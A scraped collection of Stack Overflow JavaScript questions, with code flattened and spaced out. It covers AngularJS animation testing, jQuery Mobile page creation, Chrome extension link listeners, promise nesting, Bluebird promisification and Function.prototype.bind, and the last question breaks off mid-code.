JavaScript just syntactic sugar for ` .call ` ? "JS : I guess I have a migration issue with angular-animate.js from version 1.2 to 1.3.Here is my animationSynchronous testand spec runnerWhen I use angular-animate 1.2.28 all tests are passed but after switching to 1.3.15 tests are failed . Now , I am trying to investigate the difference between two versions of angular-animate . Maybe , someone had this trouble . Thank you all for your answers . 'use strict ' ; angular.module ( 'cookbook ' , [ 'ngAnimate ' ] ) .animation ( '.slide-down ' , function ( ) { var NG_HIDE_CLASS = 'ng-hide ' ; return { beforeAddClass : function ( element , className , done ) { alert ( 'before add ' ) ; if ( className === NG_HIDE_CLASS ) { element.slideUp ( done ) ; } } , removeClass : function ( element , className , done ) { if ( className === NG_HIDE_CLASS ) { element.hide ( ) .slideDown ( done ) ; } } } ; } ) ; 'use strict ' ; describe ( ' A Brief Look At Testing Animations ( changed ) - ' , function ( ) { var scope ; var element ; var $ animate ; var $ rootElement ; beforeEach ( module ( 'cookbook ' , 'ngAnimateMock ' ) ) ; describe ( 'Synchronous testing of animations ' , function ( ) { var animatedShow = false ; var animatedHide = false ; beforeEach ( module ( function ( $ animateProvider ) { $ animateProvider.register ( '.slide-down ' , function ( ) { return { beforeAddClass : function ( element , className , done ) { debugger ; alert ( 1 ) ; animatedHide = true ; done ( ) ; } , removeClass : function ( element , className , done ) { animatedShow = true ; done ( ) ; } } ; } ) ; } ) ) ; beforeEach ( inject ( function ( $ injector ) { scope = $ injector.get ( ' $ rootScope ' ) . $ new ( ) ; $ rootElement = $ injector.get ( ' $ rootElement ' ) ; } ) ) ; beforeEach ( inject ( function ( $ compile ) { element = angular.element ( ' < div class= '' slide-down '' ng-show= '' hint '' > < /div > ' ) ; $ compile ( element ) ( scope ) ; scope. $ digest ( ) ; $ rootElement.append ( element ) ; } ) ) ; it ( 'should animate to show ' , function ( ) { scope.hint = true ; scope. $ digest ( ) ; expect ( animatedShow ) .toBeTruthy ( ) ; } ) ; it ( 'should animate to hide ' , function ( ) { scope.hint = true ; scope. $ digest ( ) ; scope.hint = false ; scope. $ digest ( ) ; expect ( animatedHide ) .toBeTruthy ( ) ; } ) ; } ) ; } ) ; < ! DOCTYPE HTML > < html > < head > < meta http-equiv= '' Content-Type '' content= '' text/html ; charset=UTF-8 '' > < title > Angular Spec Runner < /title > < link rel= '' shortcut icon '' type= '' image/png '' href= '' ../../lib/jasmine-2.0.0/jasmine_favicon.png '' > < link rel= '' stylesheet '' type= '' text/css '' href= '' ../../lib/jasmine-2.0.0/jasmine.css '' > < script type= '' text/javascript '' src= '' ../../lib/jasmine-2.0.0/jasmine.js '' > < /script > < script type= '' text/javascript '' src= '' ../../lib/jasmine-2.0.0/jasmine-html.js '' > < /script > < script type= '' text/javascript '' src= '' ../../lib/jasmine-2.0.0/boot.js '' > < /script > < script type= '' text/javascript '' src= '' ../../lib/angular-1.2.28_/jquery-1.11.1.min.js '' > < /script > < script type= '' text/javascript '' src= '' ../../lib/angular-1.3.15/angular.js '' > < /script > < script type= '' text/javascript '' src= '' ../../lib/angular-1.3.15/angular-route.js '' > < /script > < script type= '' text/javascript '' src= '' ../../lib/angular-1.3.15/angular-ui-router.js '' > < /script > < script type= '' text/javascript '' src= '' ../../lib/angular-1.3.15/angular-mocks.js '' > < /script > < script type= '' text/javascript '' src= '' ../../lib/angular-1.2.28_/angular-animate.js '' > < /script > < ! -- DOES N'T WORK WITH 1.3.15 -- > < ! -- < script type= '' text/javascript '' src= '' ../../lib/angular-1.3.15/angular-animate.js '' > < /script > -- > < ! -- include source files here ... -- > < script type= '' text/javascript '' src= '' ../src/cookbook.js '' > < /script > < link rel= '' stylesheet '' href= '' ../src/styles.css '' > < ! -- include spec files here ... -- > < script type= '' text/javascript '' src= '' cookbookSpec.js '' > < /script > < /head > < body > < /body > < /html >",How to synchronous test animation in AngularJS 1.3.15 ? "JS : I have been hitting my head against a wall for a few hours now , and still ca n't seem to get this to work.I 'm making a web application , using a multi page template ( having multiple pages in my index.html.Objective : dynamically create a new page , and then show this page on screen.Problem : after creating the page , and trying to change to this page I get the following error : Error : Syntax error , unrecognized expression : : nth-child in jquery.mobile-1.4.5.js:1850:8The relevant code can be found below : JavaScriptHTMLThe page has been created and added to the < body > , so I will omit the HTML part.I think the page might not be registered into the pagecontainer , which gives an error ? I have looked , but there does n't seem to be a pagecontainer refresh method . Any ideas on how to fix this ? Edit 1 : Using the mentioned code to navigate to another page , for example the homepage works just fine . The only page not working is the newly created page.Edit 2 : It seems the page I create produces the error . The code which was used to navigate to the page worked properly.The code I use to create the page : Above code produces the error . // Add the page to the DOM $ .mobile.pageContainer.append ( page ) ; // Change the page $ .mobile.pageContainer.pagecontainer ( 'change ' , $ ( ' # ' + pageId ) ) ; var page = $ ( ' < div/ > ' , { id : pageId , 'data-role ' : 'page ' , 'data-dom-cache ' : 'false ' , } ) ; var content = $ ( ' < div/ > ' , { 'data-role ' : 'content ' , } ) ; var courseTabs = $ ( ' < div/ > ' , { 'data-role ' : 'tabs ' , } ) ; var courseNavbar = $ ( ' < div/ > ' , { 'data-role ' : 'navbar ' , } ) .append ( $ ( ' < ul/ > ' ) ) ; var courseBtn = $ ( ' < a/ > ' , { href : ' # ' , class : 'ui-btn ' , text : 'testbutton ' , } ) ; // Glue the page parts together in the page.courseTabs.append ( courseNavbar ) ; content.append ( courseTabs ) .append ( courseBtn ) ; page.append ( content ) ; // Add the page to the DOM $ .mobile.pageContainer.append ( page ) ; // Navigate to the page $ .mobile.pageContainer.pagecontainer ( `` change '' , page , { transition : `` flip '' } ) ;",jQuery Mobile 1.4.5 - error on navigating to dynamically created page "JS : I 'm developing a chrome extension to open links from different columns to their assigned tab.Using Google apps script API to create a context of the sheet inside the chrome extension . But Google apps script API is a long path and I ca n't avoid opening and closing of tabs on clicking link form sheet.Now I want to add an event listener for click on sheet link/tooltip link.I am Already using a content script to inject a panel in the sheet.Here is code from ( content script ) . related to the link.By hovering over google sheet link we can click a link in a tooltip.there I want to prevent-default and send Href by chrome message to background script.and from there I can update tabs URL . ( function ( ) { let sheetLinks = document.querySelectorAll ( '.waffle-hyperlink-tooltip-link ' ) ; for ( let i = 0 ; i < link.length ; i++ ) { sheetLinks [ i ] .addEventListener ( `` click '' , sendHref ) ; } function sendHref ( e ) { e.preventDefault ( ) console.log ( 'link was clicked ' ) } } ) ( )",How can I add event Listener to google sheets link in chrome extension 's content script ? "JS : The StoryWe have a parent ( div ) . Parent can have n children . The number of children the parent can have is decided by a PHP variable $ bigF.So , if $ bigF is 5 , then parent has 5 children . If it 's 10 , then it 's 10 . But $ bigF has no role in this context because once the page is loaded , parent will have n children . It 's not dynamic , you know , that 's what I was trying to say.In this example , parent has 3 children ( div ) and they are named child1 , child2 , child3 . IDK who names a child child . That 's bad parenting.And the freaking thing about this family drama is every child has 2 children ( div ) . And they have bizarre names like grandchild1A , grandchild1B , grandchild2A and so on ... .Parent is kinda shy . She believes only 1 child should be shown to the outside world . Rest of 'em are kept hidden , may be in the basement or something.But she has this one BIG rule written all over her face.If I CALL OUT A CHILD , THE CHILD AND THE GRANDCHILDREN SHOULD COME.And she has employed 3 guards- who makes her job easy . And they are Call Child 1 , Call Child 2 , Call Child 3.And this is how they do their job.But every time they call a child , something bizarre happens . Sometimes child & the grandchildren come together . And some other time , the grand children went missing.And they tried another way also , like : and returned with nothing.Here 's the proof . FiddleCan anyone help me investigate this story ? ? ? I offer Thanks in return . : ) < div id= '' parent '' > < div id= '' child1 '' class= '' click '' style= '' display : block '' > Child1 < div id= '' grandchild1A '' > grand child 1A < /div > < div id= '' grandchild1B '' > grand child 1B < /div > < /div > < div id= '' child2 '' class= '' click '' style= '' display : none '' > Child2 < div id= '' grandchild2A '' > grand child 2A < /div > < div id= '' grandchild2B '' > grand child 2B < /div > < /div > < div id= '' child3 '' class= '' click '' style= '' display : none '' > Child3 < div id= '' grandchild3A '' > grand child 3A < /div > < div id= '' grandchild3B '' > grand child 3B < /div > < /div > < /div > < br > < br > < br > Calling children down < br > < br > < div class= '' callchild '' data-count= '' child1 '' > Call Child 1 < /div > < div class= '' callchild '' data-count= '' child2 '' > Call Child 2 < /div > < div class= '' callchild '' data-count= '' child3 '' > Call Child 3 < /div > < script > $ ( `` .callchild '' ) .on ( 'click ' , function ( ) { //var calling = $ ( 'div : visible ' ) .last ( ) .attr ( 'id ' ) ; //alert ( calling ) ; var calling = $ ( this ) .attr ( 'data-count ' ) ; $ ( `` # parent div : visible '' ) .hide ( ) ; $ ( ' # '+calling ) .css ( `` display '' , '' block '' ) ; } ) ; < /script > var calling = $ ( 'div : visible ' ) .last ( ) .attr ( 'id ' ) ;",Error in hiding/showing div using jQuery JS : Hello I have the following code in my view : But for each new element I want to add the jQuery effet like : Is there any way to subsribe to event that occures after element added to this list ? < div data-bind= '' foreach : Elements '' > < div data-bind= '' attr : { id : id } '' > < img data-bind= '' attr : { src : ImageSource } '' / > < p data-bind= '' text : Name '' > < /p > < /div > < /div > $ ( `` # draggable '' ) .draggable ( ) ;,How to apply jquery effect to element created by Knockout.js "JS : I am using the Inquirer library with Node.js and I still get the pyramid of doom when using promises , what am I doing wrong ? Just FYI the inquirer library API is basically : where answers is a hash , with keys that represent each question . Nothing really out of the ordinary here.Anyway , using the API , I always get getAnswersToPrompts ( ) .then ( function ( answers ) { } ) and it seems more convenient to keep nesting the promises inside the previous one ... like so : I could possibly do this instead : where fn1 , fn2 , fn3 look like : but this just makes things more complicated to understand AFAICTJust be as clear as possible , I definitely need the result of the previous promise , but sometimes I need the result from the promise prior to that or even the result prior to that.Nesting the functions allows the data I need to be in scope , thanks to closures etc . inquirer.prompt ( [ question1 , question2 , question3 , ... questionX ] ) .then ( function ( answers ) { } ) ; function run ( rootDir ) { return watchHelper ( ) .then ( function ( answers ) { return chooseDirs ( { allowDirs : answers.allow , originalRootDir : rootDir , onlyOneFile : false } ) .then ( function ( pathsToRun ) { assert ( pathsToRun.length > 0 , ' You need to select at least one path . ' ) ; return getOptions ( availableOptionsForPlainNode ) .then ( function ( answers ) { const selectedOpts = answers [ 'command-line-options ' ] ; return localOrGlobal ( ) .then ( function ( answers ) { const sumanExec = answers.localOrGlobal ; console.log ( ' = > ' , colors.magenta.bold ( [ ' $ ' , sumanExec , ' -- watch ' , pathsToRun , selectedOpts ] .join ( ' ' ) ) ) ; } ) ; } ) ; } ) ; } ) .catch ( rejectionHandler ) ; } function run ( ) { return makePromise ( ) .then ( fn1 ( data1 ) ) .then ( fn2 ( data2 ) ) .then ( fn3 ( data3 ) ) } function fnX ( data ) { return function ( answers ) { return promise ( data ) ; } }","I still get the pyramid of doom when using promises , what am I doing wrong ?" JS : This Javascript logic puzzles me . I 'm creating an array and setting the first element of it to a number . When I interate through it using a `` for '' loop Javascript turns the array key into a string . Why ? I want it to stay a number . stuff = [ ] ; stuff [ 0 ] = 3 ; for ( var x in stuff ) { alert ( typeof x ) ; },Why does javascript turn array indexes into strings when iterating ? "JS : I ca n't seem to get this right at the moment , Google talks about region basing here : https : //developers.google.com/maps/documentation/geocoding/ # RegionCodesIt uses the following parameter : This is the code im working with : http : //jsfiddle.net/spadez/Jfdbz/19/My question is how do I pass my variable `` ctryiso '' to this parameter in my script ? When I try , nothing changes , so when ctryiso is set to US and I type in London it still geocodes London , England . I 've heard it may be a bit unreliable but still I do n't think my implementation is correct . region :",Google Region Biasing in Jquery Scripting "JS : I 'm trying to determine how many times a number was repeated in a table row , sequently.When 3 or more occurrences is found , I need change the color of td to red , like this : Expected result : My regex is working , but I can not to get the correct repeat count and change the td 's color ... .Please check this fiddle x = $ ( `` table '' ) .find ( `` tr '' ) ; text = `` '' ; x.each ( function ( line ) { number = $ ( this ) .text ( ) ; check = checkNum ( number ) ; console.log ( checkNum ( number ) ) ; if ( check.length > 0 ) { repeats = check [ 0 ] [ 1 ] ; text += `` Number `` +number [ check [ 0 ] [ 'index ' ] ] + '' was repeated `` +repeats+ `` times on line `` +line+ '' < br > '' ; $ ( ' # results ' ) .html ( text ) ; $ ( this ) .css ( 'color ' , 'red ' ) ; } } ) ; function checkNum ( num ) { var tempArray = [ ] ; num = num.replace ( /\s+/g , '' _ '' ) ; exp = new RegExp ( / ( [ 0-9 ] ) \1 { 2 , } / , `` g '' ) ; ex = exp.exec ( num ) ; if ( ex ) { tempArray.push ( ex ) ; } return tempArray ; }","How to get repeated values sequently on a html table with jQuery , by condition" "JS : I have a child Calendar Component that receives events from his father through an input field.When the month changes the parent gets new events from an API Service and calls the child component to show them . } But when the child tries to access the events they have n't been updated ! My workaround was wrapping the child function in a timeout of 0 milliseconds to put the entire execution at the end of the event loop . } Is there a better way of doing it ? Maybe an Angular best practice that I should be implementing ? Thanks ! @ Input ( ) private events : any [ ] ; private populateEventsForCurrentMonth ( ) { return this.calendarService.getEventsAsAdmin ( this.getCurrentStartDate ( ) , this.getCurrentEndDate ( ) ) .then ( ( evts ) = > { this.events = evts ; this.calendarChild.selectEventDaysIfApplies ( ) ; } ) .catch ( ( err ) = > { console.log ( 'error getting events ' , err ) ; } ) ; public selectEventDaysIfApplies ( ) { setTimeout ( ( ) = > { if ( this.events ) { this.events.forEach ( ( event ) = > { let eventDate = new Date ( event.starts_at ) ; if ( this.datesBelongToSameMonth ( eventDate , this.currentDate ) ) { let dayWithEvent = this.days.find ( ( day ) = > { return day.number == eventDate.getDate ( ) ; } ) ; if ( ! dayWithEvent.selected ) { dayWithEvent.hasEvent = true ; } } } ) ; } } , 0 ) ;","Angular - Input data not immediately available on child component , why ?" "JS : In our application , staff use their phones to log activities within a business . They end up using 0.5GB-2GB data per month on average.I 'm trying to build functionality into our app that logs data usage so that we can send it back to the business in the form of an expense claim.In the example code below , how can I determine how much bandwidth/data was used by the device sending the message over a WebSocket ? var ws = new WebSocket ( 'ws : //host.com/path ' ) ; ws.onopen = ( ) = > { ws.send ( 'something ' ) ; } ;",Measure bandwidth used by web socket in React Native app "JS : I have a promise that handles a HTTP request performed over a Web API : Later in the code this promise is chained to more error checks . In case of a 404 error , I can actually `` fix '' a problem , and I do n't want the other handler to trigger . I 'd rather want to make the promise a success in this case . How can I do that ? A bit more code to explain my case more deeply : promise = promise.then ( r = > { // ... } , error = > { if ( error.status == 404 ) { // Here I can fix an error and continue properly } else { // Here the error should be propagated further in the promise } } // later in the code : promise.catch ( r = > { /* More error handling */ } ) ; refresh ( ) { this.refreshAsync ( ) .catch ( r = > { // Show error to the user . notifications.showError ( `` Unexpected error happened '' ) ; } ) ; } async refreshAsync ( ) { // Here goes a lot of vue-resource calls to gather the necessary data for a view . They are chained with ` await ` . Only one of them : await this. $ http.get ( url ) .then ( r = > { this.data = r.data ; } , error = > { // 404 is actually a legit response for API to return , so the user notification above should not be shown if ( error.status == 404 ) { // handle successfully } else { // propagate an error , so the handler above could show a warning to the user . } } ) ; }",Return success when handling error in a promise "JS : The result of the 3 alerts is : 1 , undefined , 2 ( Chrome 25 ) My question is : why the second alert is undefined ? Why not 1 ? Is n't there a global variable x ? x = 1 ; alert ( x ) ; var y = function ( ) { alert ( x ) ; var x = 2 ; alert ( x ) ; } y ( ) ;",Why is my global variable shadowed before the local declaration ? "JS : I was trying to make a blog in angularJS and on the post message section I want to get the message from json and add it to a content div like this Now my div has a paragraph in it , it 's practically a html code like thisbut when i do this , i see on the screen this < p > this is my message < /p > as text . I understand in previous versions i could use ng-bind-html-unsafe but i am using v1.2 of angularJS . Can anyone please show me code similar to ng-bind-html-unsafe so that I can make this work in v1.2 ? Thank you , Daniel ! < div class= '' content '' > { { json.message } } < /div > < p > this is my message < /p >",how to bind html in angular v1.2 "JS : From : http : //www.2ality.com/2011/12/strict-equality-exemptions.html JavaScript has two operators for determining whether two values are equal : The strict equality operator === only considers values equal that have the same type . The “ normal ” ( or lenient ) equality operator == tries to convert values of different types , before comparing like strict equality . The advice given to JavaScript beginners is to completely forget about == and to always use === . But what is the reason behing it for not using == operator ? Will it result to security risk ? But using typeof operator we can be sure that the result will be a string . Then == is safe to use , because we can be sure that it won ’ t perform any conversion shenanigans : if ( typeof x == `` function '' ) { ... }",When is it OK to use == in JavaScript ? "JS : I want the browser to show an error message when a type error occurs.errors like can not read property something of undefined or undefined reference.In the first example the error is a logical one , and its fine to catch it in the catch ( .. ) block.But in the second example it is a clear development error , which happens all the time while developing new stuff . I do n't want to catch it , i want the browser to show me the error like other errors in the console.I want to be able to turn on chrome pause on exceptions and see the state of other variables . I want to see the stack trace in console.I want it to act like a normal error.Any idea ? new Promise ( function ( resolve , reject ) { // do stuff ... reject ( 'something logical is wrong ' ) ; } ) .catch ( e = > console.error ( e ) ) ; new Promise ( function ( resolve , reject ) { // do stuff , and a syntax error : / var a = { } ; a.something.otherthing = 1 ; /* we have an error here */ // ... } ) .catch ( e = > console.error ( e ) ) ;",es6 promises swallow type errors "JS : Basically I have this onclick event that serializes some form data and saves it to a variable , when the user runs another function I want to be able to send that previously created variable through ajax in the function.Here is the onclick event ( first form ) : Here is the function that is performed after the onclick event , so hopefully you can get what I mean ( second form ) : And just in case you need it here is the dash_new_shout_upload.php : Here is the error I get in the console : Uncaught ReferenceError : new_shout_slide_1_form is not definedSorry if this is a bit confusing , basically the short story is that I want to be able to submit two forms in one event , so my idea was to save the first form and submit it with the second one.Thanks and let me know if you need anything else . EDITOk basically musa has given me this code belowWhich will obviously work better as it will send both the new_shout_form data along with the uploaded file . The problem is i ca n't seem to access the new_shout_form fields in the php script , i can access and get the file ok such as this $ fileName = $ _FILES [ `` new_shout_upload_pic '' ] [ `` name '' ] ; However , i am not sure how to get the field in the new_shout_form into variables . I have tried $ new_shout_text = $ _FILES [ `` dash_new_shout_location '' ] ; and $ new_shout_text = $ _POST [ `` dash_new_shout_location '' ] ; However i get the error Undefined index : dash_new_shout_location Any ideas ? EDIT 2This is an edit for Musa 's recent comment here are the two forms , the first is the first one the users submit with the text inputs and the second one is the file.First form , when this is submitted the textarea div content is set to the hidden input , then the second form is diplayed for the user to select the file/imageForm 2 with the file upload , when this one is submitted i want it to send the inputs from form 1 with it . $ ( ' # new_shout_next ' ) .on ( 'click ' , function ( ) { var new_shout_slide_1_form = $ ( `` # new_shout_form '' ) .serialize ( ) ; } ) ; function uploadFile ( ) { var file = _ ( `` new_shout_upload_pic '' ) .files [ 0 ] ; var formdata = new FormData ( ) ; formdata.append ( `` new_shout_upload_pic '' , file ) ; var ajax = new XMLHttpRequest ( ) ; ajax.upload.addEventListener ( `` progress '' , progressHandler , false ) ; ajax.addEventListener ( `` load '' , completeHandler , false ) ; ajax.addEventListener ( `` error '' , errorHandler , false ) ; ajax.addEventListener ( `` abort '' , abortHandler , false ) ; ajax.open ( `` POST '' , `` scripts/dashboard/dash_new_shout_upload.php '' ) ; var new_shout_slide_1_form = $ ( `` # new_shout_form '' ) .serialize ( ) ; //This is the edit i have made and removed this line of code from the on click event above ajax.send ( formdata , new_shout_slide_1_form ) ; } $ fileName = $ _FILES [ `` new_shout_upload_pic '' ] [ `` name '' ] ; $ fileTmpLoc = $ _FILES [ `` new_shout_upload_pic '' ] [ `` tmp_name '' ] ; $ fileType = $ _FILES [ `` new_shout_upload_pic '' ] [ `` type '' ] ; $ fileSize = $ _FILES [ `` new_shout_upload_pic '' ] [ `` size '' ] ; $ fileErrorMsg = $ _FILES [ `` new_shout_upload_pic '' ] [ `` error '' ] ; $ new_shout_text = $ _POST [ 'hiddenNewShoutText ' ] ; //This is one of the fields in the serialized form first created in the onclick event . function uploadFile ( ) { var file = _ ( `` new_shout_upload_pic '' ) .files [ 0 ] ; var formdata = new FormData ( $ ( `` # new_shout_form '' ) [ 0 ] ) ; // add new_shout_form fields to the formdata object formdata.append ( `` new_shout_upload_pic '' , file ) ; var ajax = new XMLHttpRequest ( ) ; ajax.upload.addEventListener ( `` progress '' , progressHandler , false ) ; ajax.addEventListener ( `` load '' , completeHandler , false ) ; ajax.addEventListener ( `` error '' , errorHandler , false ) ; ajax.addEventListener ( `` abort '' , abortHandler , false ) ; ajax.open ( `` POST '' , `` scripts/dashboard/dash_new_shout_upload.php '' ) ; ajax.send ( formdata ) ; } < form id= '' new_shout_form '' > < div class= '' dash_new_shout_content '' > < div id= '' dash_new_shout_textarea '' name= '' dash_new_shout_textarea '' class= '' dash_new_shout_textarea '' contenteditable= '' true '' placeholder= '' Write your shout ... '' > < /div > < input id= '' hiddenNewShoutText '' name= '' hiddenNewShoutText '' type= '' hidden '' > < /input > < /div > < ! -- end dash_new_shout_content -- > < div class= '' dash_new_shout_options '' > < input name= '' new_shout_next '' type= '' button '' id= '' new_shout_next '' class= '' new_shout_finish '' value= '' Next '' alt= '' Next '' / > < div class= '' dash_new_shout_cancel '' id= '' new_shout_cancel '' > Cancel < /div > < ! -- end dash_new_shout_cancel -- > < /div > < ! -- end dash_new_shout_options -- > < /form > < form id= '' new_shout_2_form '' enctype= '' multipart/form-data '' method= '' post '' > < div class= '' dash_new_shout_content '' > < div id= '' dash_new_shout_new_pic '' > < img id= '' new_shout_img '' src= '' # '' class= '' new_shout_img '' width= '' 100 % '' / > < /div > < ! -- end dash_new_shout_new_pic -- > < div class= '' dash_new_shout_content_option_pic '' > < div class= '' dash_new_shout_pic_file_upload_wrapper '' > < input name= '' dash_new_shout_pic_name '' id= '' new_shout_upload_pic '' type= '' file '' / > < span id= '' dash_new_shout_pic_file_upload_span '' > Upload from Computer < /span > < /div > < ! -- end dash_new_shout_pic_file_upload_wrapper -- > < /div > < ! -- end dash_new_shout_content_option -- > < /div > < ! -- end dash_new_shout_content -- > < br style= '' clear : both '' > < progress id= '' new_shout_image_progress_bar '' value= '' 0 '' max= '' 100 '' style= '' width:80 % ; '' > < /progress > < div id= '' progress_status '' > 0 % < /div > < div id= '' new_shout_image_status '' > < /div > < div class= '' dash_new_shout_options '' > < input name= '' new_shout_finish '' type= '' button '' id= '' new_shout_finish '' onclick= '' uploadFile ( ) '' class= '' new_shout_finish '' value= '' Finish '' alt= '' Finish '' / > < div class= '' dash_new_shout_cancel '' id= '' new_shout_back '' > Back < /div > < ! -- end dash_new_shout_cancel -- > < /div > < ! -- end dash_new_shout_options -- > < /form > < ! -- end new_shout_2_form -- >",Submit two forms in one event "JS : I am reading an article ( JavaScript Closures for Dummies ) and one of the examples is as follows.When testList is called , an alert box that says `` item3 undefined '' . The article has this explanation : When the anonymous functions are called on the line fnlist [ j ] ( ) ; they all use the same single closure , and they use the current value for i and item within that one closure ( where i has a value of 3 because the loop had completed , and item has a value of 'item3 ' ) .Why does item have a value of 'item3 ' ? Does n't the for loop end when i becomes 3 ? If it ends should n't item still be 'item2 ' ? Or is the variable item created again when testList calls the functions ? function buildList ( list ) { var result = [ ] ; for ( var i = 0 ; i < list.length ; i++ ) { var item = 'item ' + list [ i ] ; result.push ( function ( ) { alert ( item + ' ' + list [ i ] ) } ) ; } return result ; } function testList ( ) { var fnlist = buildList ( [ 1,2,3 ] ) ; // using j only to help prevent confusion - could use i for ( var j = 0 ; j < fnlist.length ; j++ ) { fnlist [ j ] ( ) ; } } testList ( ) ;",How are local variables referenced in closures ? "JS : it shows 14 chars but i did not fill anything.I want to show only string . But when user clicks , it should write 54343 into that field.And it should only put 11 chars . Not 14.So using text input 2 times is better idea ? my mask normally has ( 999 ) -999999911 char but it also counts ( ) and - so it becomes 14. but they are not charsmall part of controllerui-mask added to the module in a module such as < div layout= '' column '' > < md-input-container class= '' md-block '' flex-gt-sm > < label translate > Company Phone < /label > < input name= '' companyPhoneNumber '' ui-mask= '' 0 ( 999 ) -9999999 '' ng-model= '' vm.model.companyPhoneNumber '' ng-required= '' true '' ng-minlength= '' 11 '' maxlength= '' 11 '' md-maxlength= '' 11 '' / > < div ng-messages= '' form.companyPhoneNumber. $ error '' ng-if= '' form.companyPhoneNumber. $ dirty '' role= '' alert '' ng-messages-multiple > < div ng-message= '' md-maxlength '' > < span translate translate-values= '' { length:11 } '' > global.messages.error.max < /span > < /div > < div ng-message= '' minlength '' > < span translate translate-values= '' { length:11 } '' > global.messages.error.min < /span > < /div > < div ng-message-exp= '' [ 'required ' , 'pattern ' ] '' > < span translate > global.messages.error.phoneNumber < /span > < /div > < /div > < /md-input-container > < /div > ( function ( angular ) { 'use strict ' ; angular .module ( 'signup ' ) .controller ( 'SignUpController ' , SignUpController ) ; SignUpController. $ inject = [ ' $ state ' , ' $ timeout ' , ] ; /* @ ngInject */ function SignUpController ( $ state , $ timeout , Account , AuthServer , Alert , Principal , StringUtil ) { var vm = this ; vm.model = { } ; vm.companyMask = `` 0 ( 999 ) -999-999 '' ; function signUp ( ) { Account.register ( vm.model ) .success ( function ( emptyData , status , headers ) { AuthServer.checkAuthenticationToken ( headers , true ) ; Principal.identity ( true ) .then ( function ( account ) { var companyShortInfo = { companyPhoneNumber : vm.model.companyPhoneNumber , } } ; } ) ; } ) } ( function ( angular ) { 'use strict ' ; angular .module ( 'app.tracking ' , 'angular-google-analytics ' , 'ui.mask '",Uimask changes min max lentgh of ng-minlength "JS : This question is related to What are the best practices to follow when declaring an array in Javascript ? Let 's say a client , let 's call them `` D. B. Cooper '' , has a first requirement that the following code must run before any other JavaScript code : Furthermore , Cooper requires that custom functions must be added to the built in Array object ( not the hijacked one ) . For example , if Array was unhijacked , this would be done with : Which would afford : However , this is not compatible with the first requirement . Thus , how can you best fulfill both of D. B. Cooper 's requirements ? Note : D.B . even wrote a test fiddle to help make sure solutions meet his requirements ... what a guy ! Update : For those of you who like a challenge : please try to find an unhijackable cross-browser solution to this problem . For example , here 's an even more hijacked test case ( thanks for reformatting this Bergi ) that hijacks Array , Object , Array.prototype.constructor , and Object.prototype.constructor . Thus far , it looks like there may be a browser-specific solution to this ( see Bergi 's comment on his answer , and let us know if you find a way to hijack it in FF ) , but it is unclear at this point if there is a cross-browser solution to this . Array = function ( ) { alert ( 'Mwahahahaha ' ) ; } ; Array.prototype.coolCustomFunction = function ( ) { alert ( ' I have ' + this.length + ' elements ! Cool ! ' ) ; } ; var myArray = [ ] ; myArray.coolCustomFunction ( ) ;",Can you add a function to a hijacked JavaScript Array ? "JS : Is it possible to define a type for an object 's with a required key value pair and a default key value pair ? Example : const myComponent = ( props ) = > { const { myObject : { someRequiredString , someNotRequiredString , } } } myComponent.propTypes = { myObject : PropTypes.shape ( { someRequiredString.string.isRequired , } ) .isRequired , } myComponent.defaultProps = { myObject : { someNotRequiredString : `` , } }",Can a default value be used in a proptype shape ? "JS : If a GET request is made as followsand the page is abandoned before the GET request is completed , will the destination server still process the request ? Or will it somehow vanish ? I would like to send a server data on beforeunload firing , but without stealing useless ms from the user.It would be very useful if someone could help me . $ ( window ) .bind ( 'beforeunload ' , function ( ) { // GET request } ) ;",Performing GET request before leaving page "JS : I have this task : sum all numbers in string and perform multiplicationI already have regular expression to do this : But I want to add option to ignore numbers inside brackets `` ( ) '' How to do it ? Regular expressions were always pain for me : ( input : `` 3 chairs , 2 tables , 2*3 forks '' result : 11 eval ( str.match ( / ( \d [ \d\.\* ] * ) /g ) .join ( ' + ' ) ) input : `` 2 chairs , 3 tables ( 1 broke ) '' result : 5",Complex regular expression in JavaScript "JS : I would like to be able to find the previous element of a certain type , whether it is contained within the same parent or not . In this situation I want to find the previous input [ type= '' text '' ] element and give it focus . Currently I can select the previous sibling in the same parent , but would like to be able to filter that to only input [ type= '' text '' ] elements and allow the previous parent as well.The accepted answer will be vanilla javascript only . document.addEventListener ( 'keydown ' , function ( e ) { // if backspace is pressed and the input is empty if ( e.keyCode === 8 & & e.target.value.length === 0 ) { // This should give focus to the previous input element e.target.previousSibling.previousSibling.focus ( ) ; } } , false ) ; < div > < input type= '' text '' > < input type= '' text '' > < /div > < div > < input type= '' text '' > < input type= '' text '' > < /div > < div > < input type= '' text '' > < input type= '' text '' > < /div >",Find previous element of same type regardless of parent "JS : I 'm trying to promisify chrome.storage.sync.get using Bluebird.js . I see that all the examples on the bluebird http : //bluebirdjs.com/docs/working-with-callbacks.html site use Promise.promisify ( require ( someAPI ) ) . I tried doing const storageGet = Promise.promisify ( chrome.storage.sync.get ) ; ( I do n't have a require if that affects anything ) , and then callingConsole error was My understanding ( granted little understanding of Promises and bluebird ) is that storageGet is being passed the wrong parameters ? But chrome.storage.sync.get needs to be passed a string and a callback function so I 'm not particularly sure what 's going wrong . Also I could be completely off in how I 'm promisifying chrome storage . I am aware that there is an example with chrome promisifying at http : //bluebirdjs.com/docs/api/promise.promisifyall.html # option-promisifier , but I 'm honestly not too familiar with promises to understand what 's going on in that example . Is there a certain way I should be promisifying chrome storage than the way I 'm doing it ? async function ( ) { return await storageGet ( 'config ' , function ( result ) { // do stuff } ) } ; Unhandled rejection Error : Invocation of form get ( string , function , function ) does n't match definition get ( optional string or array or object keys , function callback )",Promisify chrome API using Bluebird "JS : This is a purely theoretical question.I am learing javascript from 'you do n't know js ' , and i was stuck on the implementation of the bind function in JS . consider the following code : In the above snippet , we bind foo ( ) to obj1 , so the this in foo ( ) belongs to obj1 and that 's why obj1.a becomes 2 when we call bar ( 2 ) . but the new operator is able to take precedence and obj1.a does not change even when bar ( 3 ) is called with new . Below is the polyfill provided by the MDN page for bind ( .. ) : The part that 's allowing new overriding according to the book , is : so , now the main point . according to the book : `` We wo n't actually dive into explaining how this trickery works ( it 's complicated and beyond our scope here ) , but essentially the utility determines whether or not the hard-bound function has been called with new ( resulting in a newly constructed object being its this ) , and if so , it uses that newly created this rather than the previously specified hard binding for this . `` how is the logic in the bind ( ) function allows new operator to override the hard binding ? function foo ( something ) { this.a = something ; } var obj1 = { } ; var bar = foo.bind ( obj1 ) ; bar ( 2 ) ; console.log ( obj1.a ) ; // 2var baz = new bar ( 3 ) ; console.log ( obj1.a ) ; // 2console.log ( baz.a ) ; // 3 if ( ! Function.prototype.bind ) { Function.prototype.bind = function ( oThis ) { if ( typeof this 